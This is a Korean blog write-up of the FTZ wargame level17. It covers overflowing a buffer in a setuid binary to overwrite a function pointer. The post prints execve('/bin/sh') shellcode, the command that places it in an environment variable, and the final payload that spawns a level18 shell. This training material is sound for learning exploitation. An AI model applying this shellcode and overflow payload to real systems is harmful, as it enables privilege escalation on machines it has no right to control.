FTZ level17 풀이
FTZ level17 풀이
level17의 홈디렉토리를 확인해보면 level18의 권한으로 setuid가 걸린 attackme 파일이 존재한다
hint 파일을 열어보자
hint 파일에 c언어 소스코드가 존재한다. 해석해보자
16번 문제와 소스코드가 비슷하다 하지만 shell 을 실행시키는 함수 부분이 제외되었다. 그렇다면 환경변수에 쉘코드를 등록하고 쉘코드 주소를 이용해 문제를 해결해보자
어떤식으로 문제를 해결할지 생각해보자
1 : buf[20] ~ *call 거리
2 : 쉘코드를 환경변수에 등록하고 주소를 확인
3 : *call위치를 쉘코드 주소로 덮어 씌우는 페이로드 작성
우선 buf[20] 에서부터 *call 까지의 거리를 알아보자
디버깅을 위해 attackme 파일을 tmp/ 디렉토리로 복사하자
0x08048530 <main+24>: lea eax,[ebp-56] 해당 부분을 확인해보면 buf에서부터 ebp의 거리를 확인할 수 있다.
buf[20]에서 부터 ebp 까지의 거리 = 56
0x080484e1 <main+57>: mov eax,DWORD PTR [ebp-16] 해당 부분을 확인해보면 call 에서부터 ebp의 거리를 확인 할 수 있다.
call 에서부터 ebp 까지의 거리 = 16
buf[20] 에서부터 call 까지의 거리 = (buf[20]에서부터 ebp까지의 거리) - (call 에서부터 ebp 까지의 거리) = 56 - 16 = 40
이제 쉘코드 주소를 환경변수에 등록하고 그 주소를 확인해보자
<SHELL CODE>
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
export shellcode=$(python -c 'print "\x90"*20 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')
해당 명령어로 shellcode를 환경변수에 등록
위 코드로 shellcode 주소 확인
쉘 코드의 주소 = 0xbffffef0
이제 본격적으로 페이로드를 작성해보자
기본적인 페이로드는 [buf[20] 에서부터 call까지의 거리] + [쉘코드주소] 이런식으로 작성할 것이다.
최종적인 페이로드는 (python -c 'print "\x90"*40+"\xf0\xfe\xff\xbf"';cat) | ./attackme
성공적으로 call 포인터 함수가 가르키는 주소가 쉘 코드 주소로 덮어 씌워져 쉘이 실행됬다. my-pass 명령어로 level18
패스워드 출력
level17 clear ~
'System Hacking > FTZ' 카테고리의 다른 글
FTZ level19 풀이 (0) | 2017.07.04 |
---|---|
FTZ level18 풀이 (0) | 2017.07.04 |
FTZ level16 풀이 (0) | 2017.07.04 |
FTZ level15 풀이 (0) | 2017.07.04 |
FTZ level14 풀이 (0) | 2017.07.04 |